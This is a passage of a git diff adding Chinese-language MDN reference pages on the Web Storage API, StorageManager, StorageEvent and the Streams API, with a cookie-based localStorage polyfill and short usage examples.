+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length > 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+
+ +
注意:数据的最大大小是通过cookies来严格限制的。可以使用这样的算法实现,使用localStorage.setItem()localStorage.removeItem()这两个函数进行添加、改变或删除一个键。使用方法为localStorage.yourKey = yourValue;和delete localStorage.yourKey;进行设置和删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
+ +
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值访问权限限定在当前浏览上下文。
+ +

下面是另一个,并不那么严谨的localStorage对象的实现。相比上一个方法,它更简单且能与旧的浏览器良好兼容,如Internet Explorer < 8 (甚至能在 Internet Explorer 6 上正常工作)。它同样是使用cookies来实现的。

+ +
if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+
+ +
注意:数据量的最大值是通过cookies来严格限制的。可以使用localStorage.getItem()localStorage.setItem()localStorage.removeItem()等方法获取、设置或删除一个键。使用方法localStorage.yourKey = yourValue;获取、添加、改变或者删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
+ +
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值限定在当前浏览环境上下文。
+ +

与globalStorage的兼容性及关系

+ +

localStorage 和 globalStorage[location.hostname] 是一样的, 除了作用域是在 HTML5 origin (结构 + 主机名 + 非标准的端口), 并且 localStorage 是一个 Storage 实例 ,而globalStorage[location.hostname] 是一个 StorageObsolete 实例,下面将要讨论这个。 例如, http://example.com 无法访问与 https://example.com 相同的 localStorage 对象 ,但是它们可以访问同一个 globalStoragelocalStorage 是标准的接口,globalStorage 不是, 所以不要依赖于 globalStorage 。   

+ +

请注意,给globalStorage[location.hostname]设置一个属性并不会影响到localStorage。拓展Storage.prototype也不会影响globalStorage对象,只有拓展StorageObsolete.prototype才会影响。

+ +

存储格式

+ +

Storage的键和值都是以每个字符占2个字节的UTF-16字符串(DOMString)格式存储的。

diff --git a/files/zh-cn/web/api/storage/removeitem/index.html b/files/zh-cn/web/api/storage/removeitem/index.html new file mode 100644 index 0000000000..462f3cf703 --- /dev/null +++ b/files/zh-cn/web/api/storage/removeitem/index.html @@ -0,0 +1,124 @@ +--- +title: Storage.removeItem() +slug: Web/API/Storage/removeItem +translation_of: Web/API/Storage/removeItem +--- +

{{APIRef("Web Storage API")}}

+ +

{{domxref("Storage")}} 接口的 removeItem() 方法,接受一个键名作为参数,会从给定的Storage对象中删除该键名(如果存在)。 如果没有与该给定键名匹配的项,则此方法将不执行任何操作。

+ +

语法

+ +
storage.removeItem(keyName);
+ +

参数

+ +
+
keyName
+
一个 {{domxref("DOMString")}},即你想要移除的键名。
+
+ +

返回值

+ +

无。

+ +

示例

+ +

下面的函数在本地存储里面创建三个数据项,然后把 image 数据项移除。

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}
+ +
+

备注:完整的例子,可查看 Web Storage Demo

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}{{Spec2('Web Storage')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

各浏览器支持的 localStorage 和 sessionStorage 大小上限不同。测试页面 detailed rundown of all the storage capacities for various browsers

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

相关链接

+ +

使用 Web Storage API

diff --git a/files/zh-cn/web/api/storage/setitem/index.html b/files/zh-cn/web/api/storage/setitem/index.html new file mode 100644 index 0000000000..14cf70c89a --- /dev/null +++ b/files/zh-cn/web/api/storage/setitem/index.html @@ -0,0 +1,72 @@ +--- +title: Storage.setItem() +slug: Web/API/Storage/setItem +tags: + - API + - Storage + - Web Storage +translation_of: Web/API/Storage/setItem +--- +

{{APIRef("Web Storage API")}}

+ +

setItem() 作为 {{domxref("Storage")}} 接口的方法,接受一个键名和值作为参数,将会把键名添加到存储中,如果键名已存在,则更新其对应的值。

+ +

语法

+ +
storage.setItem(keyName, keyValue);
+ +

参数

+ +
+
keyName
+
一个 {{domxref("DOMString")}},要创建或更新的键名。
+
keyValue
+
一个 {{domxref("DOMString")}},要创建或更新的键名对应的值。
+
+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

下面的函数在本地存储中创建三个数据项。

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}
+ +
+

备注:一个实际的例子 Web Storage Demo

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}{{Spec2('Web Storage')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Storage.setItem")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/storage_api/index.html b/files/zh-cn/web/api/storage_api/index.html new file mode 100644 index 0000000000..306c6240e8 --- /dev/null +++ b/files/zh-cn/web/api/storage_api/index.html @@ -0,0 +1,127 @@ +--- +title: Storage API +slug: Web/API/Storage_API +tags: + - API + - Secure context + - Storage API + - 存储 + - 总览 + - 权限 + - 配额 +translation_of: Web/API/Storage_API +--- +

{{securecontext_header}}{{DefaultAPISidebar("Storage")}}

+ +

Web 存储标准,the Storage Standard,定义了一个通用的、共享的存储系统,供所有 API 和技术使用,以存储各个网站的内容可访问数据。 Storage API 允许网站的代码、Web 应用程序知道它们可以使用、已经使用多少存储空间。空间不足时,{{Glossary("user agent", "用户代理")}}会自动清理站点数据,以便为其他用途腾出空间。而 Storage API 甚至可以控制:在执行清理之前,是否需要提醒代码或 Web 应用程序,以便作出反应。

+ +

{{AvailableInWorkers}}

+ +

站点存储——由存储标准管理的网站数据——包括以下几种:

+ + + +

站点存储单元

+ +

由存储标准描述并使用存储API进行交互的站点存储系统,由每个 {{Glossary("origin")}} 的单个站点存储单元site storage unit)组成。实际上,每个Web站点或Web应用程序都有自己的存储单元,用于存储数据。下图显示了一个站点存储池,其中包含三个存储单元,显示了存储单元如何可以在其中存储不同的数据类型,并且可能具有不同的配额(最大存储限制)。

+ +

A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached.

+ + + +

{{Glossary("User agent", "User agent")}} 可能使用各种技术来确定各种来源的配额。规范特别鼓励的、最有可能的方法之一,实际上是考虑各个站点的流行程度 和/或使用水平,以确定它们的配额应该是什么。还可以想象,浏览器可能会提供一个用户界面来定制这些配额。

+ +

存储模式

+ +

每个站点存储单元中的实际数据存储,被称为它的 / box)。每个站点存储单元只有一个盒,盒中包含其所有数据,且有一个盒存储模式 / 存储模式box mode),用于描述其数据保留策略。目前有两种模式:

+ +
+
"best-effort"
+
用户代理将会将尽可能久地保留 box 中包含的数据,但若因存储空间不足儿必须清空 box 以释放存储压力时,用户代理不会警告用户
+
"persistent"
+
用户代理将会将尽可能久地保留此模式的数据,只有在所有被标记为 "best-effort" 的 box 都已被清理后,才会清理被标记为 "persistent" 的 box。如果需要考虑清除持久性框(persistent boxes),用户代理将通知用户,并根据需要提供清除一个或多个持久性框(persistent boxes)的方法。
+
+ +

修改某个来源的 box mode 需要取得使用 "persistent-storage" 特性的权限。

+ +

数据持久性与清理

+ +

如果站点或应用程序具有 “永久存储(persistent-storage” 功能权限,则可以使用 {{domxref("StorageManager.persist()")}} 方法来请求将其 box 设为持久的。由于使用特性或其他度量,用户代理还可以决定使站点的存储单元持久化。“持久存储”功能的与权限相关的标志、算法和类型都设置为权限的标准默认值,只是整个源位置的权限状态必须相同,并且如果未“授予”权限状态(无论出于何种原因,访问持久性存储功能被拒绝),源站点存储单元的box模式总是“尽力”。

+ +
+

注意:请参考 使用 Permissions API 以了解更多关于申请与管理权限的信息。

+
+ +

当清除站点存储单元时,源站的框被视为单个实体;如果用户代理需要清除它并且用户批准,则清除整个数据存储,而不是提供某种仅从单个api清除数据的方法。

+ +


+ 如果一个框被标记为 “持久(persistent)” ,那么如果没有数据的源代码本身或用户明确地这样做,用户代理将不会清除内容。这包括用户选择“清除缓存”或“清除最近的历史记录”选项等场景。将特别要求用户具有删除永久性站点存储单元的权限。

+ +

配额与使用量的估算

+ +

The user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. This maximum is the origin's quota. The amount of this space which is in use by the site is called its usage. Both of these values are estimates; there are several reasons why they're not precise:

+ + + +

User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space.

+ +

To determine the estimated quota and usage values for a given origin, use the {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}} method, which returns a promise that, when resolved, receives a {{domxref("StorageEstimate")}} that contains these figures. For example:

+ +
navigator.storage.estimate().then(estimate => {
+  // estimate.quota 是估得的配额
+  // estimate.usage 是估得的使用量,单位为 byte 比特
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Storage')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ +
+

StorageManager

+ +
+ + +

{{Compat("api.StorageManager")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/storageestimate/index.html b/files/zh-cn/web/api/storageestimate/index.html new file mode 100644 index 0000000000..74e0fa95cc --- /dev/null +++ b/files/zh-cn/web/api/storageestimate/index.html @@ -0,0 +1,103 @@ +--- +title: StorageEstimate +slug: Web/API/StorageEstimate +translation_of: Web/API/StorageEstimate +--- +
{{securecontext_header}}{{APIRef("Storage")}}
+ +
 
+ +

StorageEstimate 提供对你的域名或Web app的数据存储空间总量和已用量的估计值,该对象实例由{{domxref("StorageManager")}}的{{domxref("StorageManager.estimate", "estimate()")}} 方法返回的{{jsxref("Promise")}}返回.

+ +

这些值仅为估计值有多种原因,既有对性能的考虑,也有防止将其作为指纹(fingerprinting)的目的.详情请参看属性.

+ +

属性

+ +

该对象目前总是同时包含以下两个属性.

+ +
+
{{domxref("StorageEstimate.quota", "quota")}} {{securecontext_inline}}
+
用户设备为你的域名或Web app预留的存储空间总大小,且该大小为估计值.虽然实际上可能有比这更多的存储空间,但这时你不应使用那多余的部分.
+
{{domxref("StorageEstimate.usage", "usage")}} {{securecontext_inline}}
+
你的域名或Web app已经使用的存储空间大小,且该大小为估计值.剩余可用空间请综合quota属性计算.
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage', '#dictdef-storageestimate', 'StorageEstimate')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{CompatChrome(55)}}{{CompatGeckoDesktop(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatChrome(55)}}{{ CompatGeckoMobile(57)}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/storageevent/index.html b/files/zh-cn/web/api/storageevent/index.html new file mode 100644 index 0000000000..eceb17bb94 --- /dev/null +++ b/files/zh-cn/web/api/storageevent/index.html @@ -0,0 +1,114 @@ +--- +title: StorageEvent +slug: Web/API/StorageEvent +tags: + - 本地存储 +translation_of: Web/API/StorageEvent +--- +

{{APIRef("Web Storage API")}}

+ +

当前页面使用的storage被其他页面修改时会触发StorageEvent事件. 

+ +

[译者:事件在同一个域下的不同页面之间触发,即在A页面注册了storge的监听处理,只有在跟A同域名下的B页面操作storage对象,A页面才会被触发storage事件] 

+ +

{{InheritanceDiagram}}

+ +
+

Note: 尽管这个事件已经早在 {{ Gecko("2.0") }}时就已存在,但是并不符合规范. 老的事件模型直到 {{ interface("nsIDOMStorageEventObsolete") }} 确定才被表现出来.

+
+ +

方法描述

+ +
void initStorageEvent(
+  in DOMString typeArg,
+  in boolean canBubbleArg,
+  in boolean cancelableArg,
+  in DOMString keyArg,
+  in DOMString oldValueArg,
+  in DOMString newValueArg,
+  in DOMString urlArg,
+  in nsIDOMStorage storageAreaArg
+);
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性名类型描述
keyDOMString该属性代表被修改的键值。当被clear()方法清除之后该属性值为null(只读)
newValueDOMString该属性代表修改后的新值。当被clear()方法清理后或者该键值对被移除,newValue 的值为 null(只读)
oldValueDOMString该属性代表修改前的原值。在设置新键值对时由于没有原始值,该属性值为 null(只读)
storageArea{{ Interface("nsIDOMStorage") }}被操作的storage对象。(只读)
urlDOMString +

key 发生改变的对象所在文档的URL地址。(只读)

+
+ +

方法

+ +

initStorageEvent()

+ +

类似DOM中的初始化事件,即初始化新创建的Storage对象的属性。

+ +
void initStorageEvent(
+  in DOMString typeArg,
+  in boolean canBubbleArg,
+  in boolean cancelableArg,
+  in DOMString keyArg,
+  in DOMString oldValueArg,
+  in DOMString newValueArg,
+  in DOMString urlArg,
+  in nsIDOMStorage storageAreaArg
+);
+ +
+
参数:
+
typeArg
+
事件名
+
canBubbleArg
+
布尔值,代表是否可以通过dom冒泡
+
cancelableArg
+
布尔值,代表是否可以注销事件
+
keyArg
+
事件结果时被改变的值对应的属性名称
+
oldValueArg
+
旧值
+
newValueArg
+
新值
+
urlArg
+
事件初始化时页面的url
+
storageAreaArg
+
 发生在哪个storage对象上
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/storagemanager/estimate/index.html b/files/zh-cn/web/api/storagemanager/estimate/index.html new file mode 100644 index 0000000000..6f094fa705 --- /dev/null +++ b/files/zh-cn/web/api/storagemanager/estimate/index.html @@ -0,0 +1,82 @@ +--- +title: StorageManager.estimate() +slug: Web/API/StorageManager/estimate +translation_of: Web/API/StorageManager/estimate +--- +

{{securecontext_header}}{{APIRef("Storage")}}

+ +

estimate()方法是{{domxref("StorageManager")}}的一个接口,用于估算某一个域名(或一个站点)下Storage Manager的总存储空间和已经使用了的存储空间。此方法为一个异步方法,如果此方法可用,那么其返回一个结果为resolved的{{jsxref("Promise")}}对象。resolved接收的参数是一个带有已使用数据存储空间和总可用总存储空间的{{domxref("StorageEstimate")}}对象。

+ +

语法

+ +
var estimatePromise = StorageManager.estimate();
+ +

参数

+ +

+ +

返回值

+ +

{{domxref('StorageEstimate')}}类型的状态为resolved的{{jsxref('Promise')}}

+ +

此数据包含了此应用(或域名)可用的存储空间({{domxref("StorageEstimate.quota")}})和目前已经使用了的存储空间({{domxref("StorageEstimate.usage")}})。

+ +

这些值不是明确的数字,在进行压缩,重复数据删除和出于安全原因起见进行了混淆之后,这个数据是不精确的。

+ +

你可能会发现不同的应用或站点分配的存储空间不同,具体取决于用户访问频率,和网站受欢迎程度等数据。

+ +

示例

+ +

在这个示例中,我们使用estimate()得到目前所使用的存储空间占全部存储空间的百分比。

+ +

HTML 内容

+ +
<p>
+  You're currently using about <span id="percent">
+  </span>% of your available storage.
+</p>
+
+ +

JavaScript 内容

+ +
navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").innerHTML =
+      (estimate.usage / estimate.quota * 100).toFixed(2);
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Example', 600, 40) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.StorageManager.estimate")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/storagemanager/index.html b/files/zh-cn/web/api/storagemanager/index.html new file mode 100644 index 0000000000..83676931c2 --- /dev/null +++ b/files/zh-cn/web/api/storagemanager/index.html @@ -0,0 +1,42 @@ +--- +title: StorageManager +slug: Web/API/StorageManager +translation_of: Web/API/StorageManager +--- +

{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}

+ +

Storage APIStorageManager接口提供了用于管理数据本地存储权限和估算可用存储空间的接口。 您可以使用{{domxref("navigator.storage")}}或{{domxref("WorkerNavigator.storage")}}对此接口进行引用。

+ +

方法

+ +
+
{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}
+
返回一个{{domxref("StorageEstimate")}}对象,此对象包含为你的域名预留的存储空间总大小和你已经使用的存储空间大小。
+
{{domxref("StorageManager.persist()")}} {{securecontext_inline}}
+
如果您的user agent能够将你域名下的数据持久保存,那么将返回一个状态为resolve的{{jsxref('Promise')}}
+
{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}
+
如果您的站点已经被授予可使用数据本地存储的权限,则返回一个状态为resolve的{{jsxref('Promise')}}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage','#storagemanager','StorageManger')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.StorageManager")}}

diff --git a/files/zh-cn/web/api/storagemanager/persist/index.html b/files/zh-cn/web/api/storagemanager/persist/index.html new file mode 100644 index 0000000000..2f778b9832 --- /dev/null +++ b/files/zh-cn/web/api/storagemanager/persist/index.html @@ -0,0 +1,53 @@ +--- +title: StorageManager.persist() +slug: Web/API/StorageManager/persist +translation_of: Web/API/StorageManager/persist +--- +

{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}

+ +

persist()方法是{{domxref("StorageManager")}}的一个接口,用于请求本地数据存储的权限,如果被授予权限,则返回一个resolved状态值为true的{{jsxref('Promise')}}对象,否则返回false

+ +

语法

+ +
navigator.storage.persist().then(function(persistent) { ... })
+ +

参数

+ +

+ +

返回值

+ +

一个resolved状态,值为{{jsxref('Boolean')}}类型的{{jsxref('Promise')}}对象。

+ +

示例

+ +
if (navigator.storage && navigator.storage.persist)
+  navigator.storage.persist().then(function(persistent) {
+    if (persistent)
+      console.log("Storage will not be cleared except by explicit user action");
+    else
+      console.log("Storage may be cleared by the UA under storage pressure.");
+  });
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage','#dom-storagemanager-persist','persist')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.StorageManager.persist")}}

diff --git a/files/zh-cn/web/api/storagemanager/persisted/index.html b/files/zh-cn/web/api/storagemanager/persisted/index.html new file mode 100644 index 0000000000..0e3c7c4711 --- /dev/null +++ b/files/zh-cn/web/api/storagemanager/persisted/index.html @@ -0,0 +1,53 @@ +--- +title: StorageManager.persisted() +slug: Web/API/StorageManager/persisted +translation_of: Web/API/StorageManager/persisted +--- +

{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}

+ +

persisted()方法是{{domxref("StorageManager")}}的一个接口,如果盒存储模式(box mode)的值为 “persistent” 则返回一个resolved状态值为true的{{jsxref('Promise')}}。

+ +

语法

+ +
navigator.storage.persisted().then(function(persistent) { ... })
+ +

参数

+ +

+ +

返回值

+ +

一个状态为resolved,值为{{jsxref('Boolean')}}类型的{{jsxref('Promise')}}。

+ +

示例

+ +
if (navigator.storage && navigator.storage.persist)
+  navigator.storage.persisted().then(function(persistent) {
+    if (persistent)
+      console.log("Storage will not be cleared except by explicit user action");
+    else
+      console.log("Storage may be cleared by the UA under storage pressure.");
+  });
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage','#dom-storagemanager-persisted','persisted')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.StorageManager.persisted")}}

diff --git a/files/zh-cn/web/api/streams_api/index.html b/files/zh-cn/web/api/streams_api/index.html new file mode 100644 index 0000000000..2fa7ce6e0f --- /dev/null +++ b/files/zh-cn/web/api/streams_api/index.html @@ -0,0 +1,145 @@ +--- +title: Streams API +slug: Web/API/Streams_API +translation_of: Web/API/Streams_API +--- +
{{SeeCompatTable}}{{APIRef("Streams")}}
+ +

Streams API允许JavaScript以编程的方式访问通过网络接收的数据流,并根据开发人员的需要处理它们。

+ +

概念和用法

+ +

流将你希望通过网络接收的资源拆分成小块,然后按位处理它。这正是浏览器在接收用于显示web页面的资源时做的事情——视频缓冲区和更多的内容可以逐渐播放,有时候随着内容的加载,你可以看到图像逐渐地显示。

+ +

但曾经这些对于JavaScript是不可用的。以前,如果我们想要处理某种资源(如视频、文本文件等),我们必须下载完整的文件,等待它反序列化成适当的格式,然后在完整地接收到所有的内容后再进行处理。

+ +

随着流在JavaScript中的使用,一切发生了改变——只要原始数据在客户端可用,你就可以使用JavaScript 按位处理它,而不再需要缓冲区、字符串或blob。

+ +

+ +

还有更多的优点——你可以检测流何时开始或结束,将流链接在一起,根据需要处理错误和取消流,并对流的读取速度做出反应。

+ +

流的基础应用围绕着使响应可以被流处理展开。例如,一个成功的 fetch request 响应 {{domxref("Body")}} 会暴露为 {{domxref("ReadableStream")}},之后你就可以使用 {{domxref("ReadableStream.getReader()")}} 建立的 reader 读取它,使用 {{domxref("ReadableStream.cancel()")}} 取消它等等。

+ +

更复杂的应用包括使用 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 创建你自己的流,比如在 service worker 中处理数据。

+ +

你还可以使用 {{domxref("WritableStream")}} 将数据写入流中。

+ +
+

注意:你可以在这些文章中找到关于流理论的更多细节和实践 — Streams API concepts, Using readable streams,以及 Using writable streams

+
+ +

Stream 接口

+ +

Readable streams

+ +
+
{{domxref("ReadableStream")}}
+
表示数据的可读流。用于处理 Fetch API 返回的响应,或者开发者自定义的流(例如通过 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 构造的流)。
+
{{domxref("ReadableStreamDefaultReader")}}
+
表示默认阅读器,用于阅读来自网络的数据流(例如 fetch 请求)。
+
{{domxref("ReadableStreamDefaultController")}}
+
表示控制器,用于控制 {{domxref("ReadableStream")}} 的状态及内部队列。默认的控制器用于处理非字节流。
+
+ +

Writable streams

+ +
+
{{domxref("WritableStream")}}
+
提供了将流写入目标这个过程的标准抽象表示,称为 sink。内置了背压和队列机制。
+
{{domxref("WritableStreamDefaultWriter")}}
+
表示默认写入器,用于将小块的数据写入可写流中。
+
{{domxref("WritableStreamDefaultController")}}
+
表示控制器,用于控制 {{domxref("WritableStream")}} 的状态。当创建一个 WritableStream 时,对应的 WritableStreamDefaultController 实例会被提供给底层的 sink 供其操作。
+
+ +

流相关的 API 及操作

+ +
+
{{domxref("ByteLengthQueuingStrategy")}}
+
提供建立流时所需的内置字节队列策略。
+
{{domxref("CountQueuingStrategy")}}
+
提供建立流时所需的块计数队列策略。
+
+ +

扩展

+ +
+
{{domxref("Request")}}
+
当构造一个新的 Request 对象后,你可以给它的 RequestInit 中的 body 属性传入一个 {{domxref("ReadableStream")}}。这个 Request 对象就可以被传入 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 中,开始接收流。
+
{{domxref("Body")}}
+
一个成功的 fetch request 响应 {{domxref("Body")}} 会默认暴露为 {{domxref("ReadableStream")}},从而可以采用相应的阅读器来处理等。
+
+ +

字节流相关接口

+ +
+

重要:下面的 API 并没有在所有浏览器中都实现,关于规范细节是否处于完成状态可供实现还存在疑问。它们可能随时会改变。

+
+ +
+
{{domxref("ReadableStreamBYOBReader")}}
+
表示 BYOB("bring your own buffer")阅读器,用于阅读开发者提供的流数据(如自定义的 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}})。
+
{{domxref("ReadableByteStreamController")}}
+
表示控制器,用于控制 {{domxref("ReadableStream")}} 的状态及内部队列。字节控制器用于处理字节流。
+
{{domxref("ReadableStreamBYOBRequest")}}
+
表示 {{domxref("ReadableByteStreamController")}} 中的 BYOB pull request。
+
+ +

Examples

+ +

We have created a directory of examples to go along with the Streams API documentation — see mdn/dom-examples/streams. The examples are as follows:

+ + + +

Examples from other developers:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams')}}{{Spec2('Streams')}}Initial definition.
+ +

Browser compatibility

+ + + +

ReadableStream

+ +

{{Compat("api.ReadableStream")}}

+ +

WritableStream

+ +

{{Compat("api.WritableStream")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" "b/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" new file mode 100644 index 0000000000..5313b80dc2 --- /dev/null +++ "b/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" @@ -0,0 +1,307 @@ +--- +title: 使用可读文件流 +slug: Web/API/Streams_API/使用可读文件流 +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

+ +
+

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

+
+ +
+

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

+
+ +

Browser support

+ +

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

+ +

Finding some examples

+ +

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

+ +

Consuming a fetch as a stream

+ +

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

+ +

